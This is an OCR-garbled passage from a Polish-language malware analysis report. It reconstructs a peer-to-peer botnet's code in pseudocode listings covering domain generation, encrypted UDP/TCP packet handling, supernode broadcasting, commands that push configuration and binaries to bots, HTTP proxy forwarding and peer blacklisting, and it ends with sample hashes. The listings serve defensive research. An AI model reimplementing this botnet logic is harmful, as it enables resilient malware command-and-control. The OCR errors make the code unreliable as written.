if ( seed & 1 == 0 ) { append(out+pos,"net"); pos+=3; }
else { append(out+pos,"com"); pos+=3; }

ptrRet [pos] = 0;
reutrn pos;

Listing 23: Procedura generowania domen

J0 oo
sockaddr SA;
if ( NetEvents.lNetworkEvents & EV_TCP ){
while ( 1 ) {
NetObj2 childTCP = TcpServer.AcceptAsNewObject (&SA);
if ( 'childTCP )
break;
if (!'banlist.isAddrBlacklisted (&SA,1) )
this.handleTcpAsNewThread (childTCP) ;
}
}
if ( NetEvents.lNetworkEvents & EV_UDP ){
char udpBuf [1424];
int recvBytes = UdpServer.doRecvFrom(&SA, udpBuf, 1424);
if ( recvBytes > 0 ) {
NetPktl* pktUDP = parseUdpData(&SA, udpBuf, recvBytes);
if (pktUDP)
if (!'banlist.isAddrBlacklisted (&SA, 1))
this.processUdp (pktUDP) ;
}
}
111k s

Listing 24: fragment gléwnej funkcji obstugujacej przychodzace polaczenia
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NetPktl* parseUdpData(sockaddr *sa, char* buf, int bufSize){
if ( bufSize < sizeof (p2pHeader) )
return O;
if ( bufSize > 1424 ) // maxPacketSize
return O;
if ( sa!=NULL && saO->sa_family== AF_INET && sa->sa_family == AF_INET6 )
return O;

CryptStructl csi;

csl.type = ENC_VISUAL;
crypt::uniDecryptor ( &csl , buf, bufSize);

if (*xbuf==0)
return O;

p2pHeader* hdr = (p2pHeader) (buf);

if (bufSize < hdr. junkSize + sizeof (p2pHeader))
return O;

NetPktl* pkt new NetPktl (NULL);
pkt->dataSize = bufSize;

pkt->dataPtr = mem::copy (buf,bufSize);
memset (pkt->SA , 0,128);

memcpy (pkt->SA , sa, net::getSaSize(sa) );
memcpy (pkt->hdr, buf, sizeof (p2pHeader));
return pkt;

Listing 25: przetwarzanie przychodzacego pakietu UDP

int p2p::processUdp(NetPktl *pkt){
if (pkt->dataPtr == NULL)
return O;
if ( !'(pkt->hdr.cmd & 1) ) // if query
int result;

if ( pkt->hdr.cmd == CMD_x32_PROX_ADV2 )
result = this.processProxyAdv(this->advCache, pkt->PKT.hdr.SSID);
else

result = this.incominqQuery (pkt);
if ( result )
result = this.tryToAddPeer (pkt);
return result;
}
// else - not query
queryCmd = pkt->hdr.cmd - 1;
RtlEnterCriticalSection_(&this->PktQueue_CritSectl);
if ( this.queueSize == 0 ) return O;
int i = 0;
QuePkt* gqp = NULL;
for (i=0;i<this.queueSize;i++){
qp = this.pktQueuel[i];
if (qp==NULL) continue;
if (!gp->checkEvent ()) continue;
if (memcmp( pkt->hdr.SSID , gp->hdr.SSID , sizeof (SHA_ID))) continue;
if ( queryCmd == gp->hdr.cmd) {
gp->answerPkt = new AnswerPkt (pkt);
SetEvent (gp->answerPkt ->event) ;
this.pktQueue [1]=NULL;
break;
}
}
this.cleanupQueue () ;
RtlLeaveCriticalSection(&this.PktQueue_CritSectl);
return 0;
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Listing 26: Obsluga przychodzacego pakietu UDP

typedef struct {
DWORD nullPadding;
BYTE peerID[20];
BYTE peerIpV4[4];
WORD peerTcpPort_v4;
BYTE peerIpVé6[16];
WORD peerTcpPort_v6;

} pkt50_supernodeAdv

int p2p::handleO0x50_ProxyAdv(class_pkt *queryPkt){

char* pktData = queryPkt.PKT.ptrData + sizeof (p2pHeader) ;

int contentSize = queryPkt.getContentSize();

if ( contentSize < sizeof (pkt50_supernodeAdv) )
return O;

if ( ! resource::verifySignaturel (pktData, contentSize) )
return O;

if ( ! this.supernodeCache.check(pktData, contentSize) )
return O;

0ldTTL = queryPkt.PKT.header.TTL;
if ( oldTTL )
this.broadcastSupernode (
queryPkt .PKT.header.cmd, queryPkt.PKT.header.SSID,
0ldTTL - 1, pktData, contentSize);
return 1;

int p2p::broadcastSupernode (BYTE cmd, char *ssid,BYTE ttl, char x*data,

char tmpBuf [20];
peerlist = peerlist::loadFromReg();
if ( ! peerlistl )
return O;
int cnt = peerlistl->count;
if (cnt==0)
return O;
if ( ssid==NULL ) {
hash::createRand (&tmpBuf) ;
ssid = tmpBuf;
}
this.supernodeCache.updateSID(ssid);
int 1i;
for (i=0;i<cnt;i++)A{
pkt = pkt::buildPacket (
peerlist->elements[i], cmd,
ssid, ttl,
data, dataSize, O
)3
if (pkt)
this.addPacketToQueue (pkt);
}
mem: :free (peerlist->elements);
mem::free(peerlist);
return 1;

int dataSize){

Listing 27: Budowa i rozglaszanie pakietu 0x50
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1 | int p2p::processTcpConnection(netCryptObj netObj){

2 int tmp;

3 char tmpBuf [5];

4

5 tmp = netObj.recv(tmpBuf, 5, this, this.stopEvent);

6 if (tmp==0) return O;

7

8 if (memcmp (tmpBuf, "GET ", 4)==0 || memcmp (tmpBuf, "POST ", 5) == 0) {
9 sockaddr SA;
10 if (!'netObj.getSockaddr (&SA)) return O;
11 if ( SA.sa_family == AF_INET ) {
12 if (SA.sa_data[2] != 127)) return O0;
13 } else {
14 if ( SA.sa_family == AF_INET6 )
15 if (memcmp( IPv6Localhost , &SA.sa_data[6] , 16) != 0) return O;
16 else
17 return 0;
18 } // only accept HTTP req from localhost
19 proxySender sender;
20 sender .p2p_0bj = this;
21 sender.net_0bj = netObj;
22 sender . tmpBuf = tmpBuf;
23 tmp = this.p2pProxy.PushRequest( &PX , this.stopEvent );
24 } else {
25 char recBuf[ sizeof (p2pHeader) 1;
26 tmp = netObj.recv(recBuf + 5, sizeof (p2pHeader)-5, p2p->stopEvent);
27 if (tmp==0) return O;
28
29 memcpy (recBuf , tmpBuff, 5);
30
31 cryptRC4 RC4.type = _CRYPT_RC4;
32 crypt::rc4_copyKeyFrom(&RC , p2p.ownRc4Key );
33 crypt::decrypt (RC4 , recBuf , sizeof (p2pHeader));
34
35 p2pHeader* hdr = (p2pHeader*)recBuf;
36 if (hdr->randByte == 0) return O0;
37 if (hdr->junkSize != 0) return O;
38
39 netObj.initRemoteKey (hdr->senderID, encryptIN);
40 crypt::copyKeyRC4 (netObj.ownKey, RC4.rc4Key);
41 cmd = hdr->cmd;
42
43 int resource;
44 if (cmd == CMD_TCP_x64_PUSH_CONF || cmd == CMD_TCP_x66_PUSH_BIN ){
45 if (cmd == CMD_TCP_x64_PUSH_CONF) resources = 1;
46 if (cmd == CMD_TCP_x66_PUSH_BIN) resources = 2;
47 return this.readDataAndUpdate( netObj, resources);
48 }
49 if ( cmd == CMD_TCP_x68_REQ_CONF || cmd == CMD_TCP_x6A_REQ_BIN )
50 return this.handleDataRequest ( recBuf, netObj);
51
52 if ( cmd == CMD_TCP_xC8_PUSH_PROXYLIST )
53 return this.p2pProxy.handlePushList (net0Obj);
54 if ( cmd == CMD_TCP_xCC_PROXY_REQUEST )
55 return this.p2pProxy.forwardData(netObj);
56
57 }
58 return O;
59 |}

Listing 28: Obstuga protokotu TCP
[
n- ) YRR
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if (netObj.connectTo (&SuperNodeAddr, 15000, stopEvent) ){
if (netObj.callSend(&p2pHeader, sizeof (p2pHeader), 30000, stopEvent){
if (sender.sendData(netObj, 30000, stopEvent) ){
return 1;

int proxSender::sendData(netCryptObj netObj, int timeout, int stopEvent){

if (!this.send_GET_TEST(netObj, timeout, stopEvent))
return O;

if (!this.tmpBuf)
return O;

if (!netObj.callSend(this.tmpBuf, 5, timeout, stopEvent))
return O;

char HdrName [8]

str::getCryptedA (CSTR_X__, HdrName);

char* HdrVal bot::getIdString();

httpReq HTTP;

HTTP.init (this.tmpBuf, this.net_obj, 3);

if (HdrvVal){
HTTP.addHeader (HdrName ,HdrVal) ;
mem:: free (HdrVal);

}

proxy::pushData(this, timeout, stopEvent, &HTTP);

int status = HTTP.statusCode;

HTTP.uninit () ;

return status;

Listing 29: Przekazywanie danych przez HTTP-PROXY

bool p2p::readDataAndUpdate (netCryptObj netObj, char resType){
dataStruct data;
int res;
res = netObj.tcpReadAllData(&data);
if ( !'res )
return O
res = this.updateResources (resType, data.dataPtr, data.dataSize);
mem: : free(retData.dataPtr);
netObj.send4bytes (result) ;
return res;

}

Listing 30: Obsluga pakietéw TCP/0x64 TCP/0x66

int p2p::handleDataReq(p2pHeader* dataPtr, netCryptObj netObj){
p2pResourcex* res;
char* dataPtr = NULL;

int dataSize = 0;

int result = 0;

if ( dataPtr->CMD == CMD_TCP_REQ_CONF )
res = &this.resConfig;

else
if ( dataPtr->CMD == CMD_TCP_REQ_BIN )

res = &this.resBinary;

else

return O;
RtlEnterCriticalSection(this.criticalSec);
if ( res->dataPtr ) {
dataPtr = mem::copyBuf (res->dataPtr, res->dataSize);
dataSize = res->dataSize;
}

RtlLeaveCriticalSection(this.criticalSec);
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if ( dataPtr ) {
if (netObj.callSend(&dataSize, sizeof(int), 30000, this.stopEvent))
if (netObj.callSend(dataPtr, dataSize, 30000, this.stopEvent)
result = netObj.callRecv(&dataSize, sizeof (int), this.stopEvent);
mem: : free (dataPtr) ;
return result;
} else {
netObj.callSend (&dataSize, sizeof (int), 30000, this.stopEvent);
return O;
}
}

Listing 31: Obsluga pakietéw TCP/0x68 i TCP/0x6A

int p2pProxy::handlePushList(netCryptObj *netObj){
dataStruct data;
int result = -1
baseConfig CONF;
int tickCount = GetTickCount () ;
if ('netObj.callSend(&tickCount, sizeof (int), 30000, this.stopEvent))
return O;
if (!netObj.tcpReadAllData(&data))
return O0;
int sLen = resource::verifySignaturel(ptr[0], ptr[1]);
if ( sLen==0 )
goto _FREE1l;
getBaseConfig (&CONF) ;
storage* sotr;
int size = data.dataSize - sLen ;
stor = storage::decrypt(data.dataPtr, size, CONF.rc4Key, _MAKE_COPY);
if (!stor) goto _FREE1l;
if ( sotr->dataPtr->heder.version != tickCount )
goto _FREE2;
Storageltem* item200;
item200 = storage::findByIDAndType (sotr, 200, 0);
if ( !item200 ) goto _FREE2;
Storageltem* item100;
item100 = storage::findByIDAndType (storl, 100, 0);
if ( !item100 ) goto _FREE2;

if (item100->header.uncSize!=0&&item200->header.uncSize!=0) {
result = this.initFromStorage (stor);
} else {
this.clearProxyList ();
reg::SetEntryByID (0x99u, NULL, 0); // empty
reg::SetEntryByID (0x98u, NULL, 0); // empty
result = 1;
}
_FREE2:
mem: : free(stor->dataPtr);
mem: : free(stor);
_FREE1:
mem:: free(data.dataPtr);
netObj.send4dbytes (result);
return (result==1);

}

Listing 32: Obsluga pakietu TCP/0xC8

int proxy::forwardData(netCryptObj cliConn){
It =0
void* stopEvent = this.p2pbj.stopEvent;
netCrypt0bj newConn;
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while ( 1 ){
sockaddr ProxAddr;
if (!

newConn.init (proxEntry.data.netType,1);

if ( !newConn.connectTo (&ProxAddr,
newConn.shutdown () ;

else
break; // found good proxy

}

this.updateEntryStats ( &proxEntry,

if ( ++i >= 3 )
return O;

1)

}

HttpProxy http;

char headerName [12];
char strCliAddr [48];
sockaddr CliAddr;
int status = 0;

if (cliConn !'= NULL){
str::getCryptedW (CSTR__X_Real _IP_,

http.init (0, cliConn, 1);
if ( netObj.getPeerAddr (&CliAddr) )
if ( net::addrToStrA (&CliAddr,

CONN_TIMEOUT,

this.selectNewProxy (&proxEntry) )return O;
if ( this.getEntrySockaddr (&proxEntry.data,

&ProxAddr) ) {

stopEvent))

headerName );

strCliAddr))

http.addHeader (headerName, strCliAddr);
status = this.pushHttp(newConn, cliConn, PROXY_TIMEOUT, stopEvent,
http.uninit () ;
} else {
status = newConn.readAllData(stopEvent);

}

this.updatelistTimes (&proxEntry,
newConn.shutdown () ;

return status;

0);

http);

Listing 33: Obsluga przekazywania zadan p2p-http

char banlist::isAddrBlacklisted(sockaddr *sa,
if ( sa->sa_family == AF_INET ){
int i = 0;
int KEY = 0x5B38B65D;
while ( i < 22 ){
DWORD net = staticBlacklist[i].net ~
DWORD mask = staticBlacklist[i].mask ~
if (net (sa->IPv4 & mask) )
return 1;
++1i;

// zmienny klucz

}
}
return this.limitConn(sa,

flag); // new

char flag){

KEY;

KEY;

Listing 34: Obsluga "czarnej listy”

int banlist::1limitConn(sockaddr x*sa,
int SASize;
void* SAdata;
int netType =
int curTime =
int found = O0;
if ( netType == 1) {

GetTickCount () ;

char onlyCheck){

net::TypeFromFamily (sa->sa_family);
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8 saSize = 4;
9 saAddr = sa->sa_data + 2;
10 }
11 if (netType == 2){
12 saSize = 16;
13 saAddr = sa->sa_data + 6;
14 }
15 listElement el = NULL;
16 if ( this.elCnt > 0 ){ // search element
17 int j = 0 ;
18 while ( j < this.elCnt ) {
19 el = this.elements[j];
20 if ( el->netType == netType ) {
21 if (memcmp( el->addr , saAddr , saSize )==0) {
22 found = 1;
23 break;
24 }
25 }
26 }
27 j++;
28 }
29 if (!found) {
30 if ( onlyCheck )
31 return O;
32 if ( this.elCnt >= 2000u )
33 this.removeElementAt (0) ;
34 el = this.addElement () ;
35 el->netType = netType;
36 el->time = curTime;
37 el->counter = 1;
38 memcpy (el->addr , saAddr, saSize );
39 return O;
40 } else {
41 if ( el.counter == -1 )
42 return 1;
43 if ( onlyCheck )
44 return O;
45 int itemTime = el->time;
46 pointer->time = curTime;
47 if ( (curTime - itemTime) >= 60000 ) {
48 el->counter = 1;
49 return O;
50 }
51 el->counter ++;
52 if ( el->counter > 10 ) {
53 el->counter = -1; // BAN !
54 return 1;
55 ¥
56 return O;
57 }
58 |
Listing 35: Procedura limitujaca ilo§¢ nowych potaczen
1 | bool peerlist::findIP(peerEntry *Peer){
2 if (this.findIPv4Mask (Peer->IPv4) > 0)
3 return 1;
4 if (this.findIPv6 (Peer->IPv6) > 0)
b, return 1;
6 return O;
45
8
9 | int peerlist::findIPv4(int IPv4){
10 int maskedIP = IPv4 & OxFOFFFF;
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int found = 0 ;

int i = 0;
if ( this.elCount == 0 )
return O;
do {
if ( (this.elements[i].IPv4 & OxFOFFFF) == maskedIP )
found ++ ;
i++;

} while ( i < this.elCount );
return found;

}

int peerlist::findIPv6 (char* IPv6){
int found = O0;

int i=0;
if ( this.elCount == 0)
return O;
do {
if ( memcmp( IPv6 , this.elements[i].IPv6 , 16 ) == 0)
found ++;
i++

} while ( i < this.elCount );
return found;

Listing 36: Wyszukiwanie adres6w IP na liScie peeréw

10 Sumy MD5 i SHA1 ostatnich prébek

file md5 shal
bin-2012-11-07 29942643d35d14491e914abe9bc76301 f4d607bca936a8293b18c52fc5d3469c91365c37
bin-2013-01-20 9ea4d28952b941be2a6d8f588bf556c8 8598a219e9024003aladf6dfade0f4455e3d1911
bin-2013-02-05 fffb972b46c852d4e23a81£f39f8df11b £393762f7c85c0f21f3e0c6£f7£f94c1c28416f0a3
bin-2013-03-16 cacd2cb90aal442f29ff54542847b817 eb47falb8ab46fb39141cbcb3cc96915£f9f2022e
bin-2013-03-19 959b8elecl1ab3bee280282f45e9257e3 e0ba06711954cb46ad4b3aaaecf752e8495dad07a
bin-2013-03-22 7c4fdcafl1a9a023a85905f97b1d712ab 18bf50e5ad2d7404f0d45e927136dd9df6ca40c2
bin-2013-04-09 1c54041614bcd326a7d403dc07b25526 d8aabbf5d215d2117ce2c89¢c3155105402ea0£f77
bin-2013-04-17 c99050eb5bed98824d3fefl1e7c4824b5 0af947d0£f894fbd117da3e2e5cf859aa47f076ec

Listing 37: MD5 i SHA1
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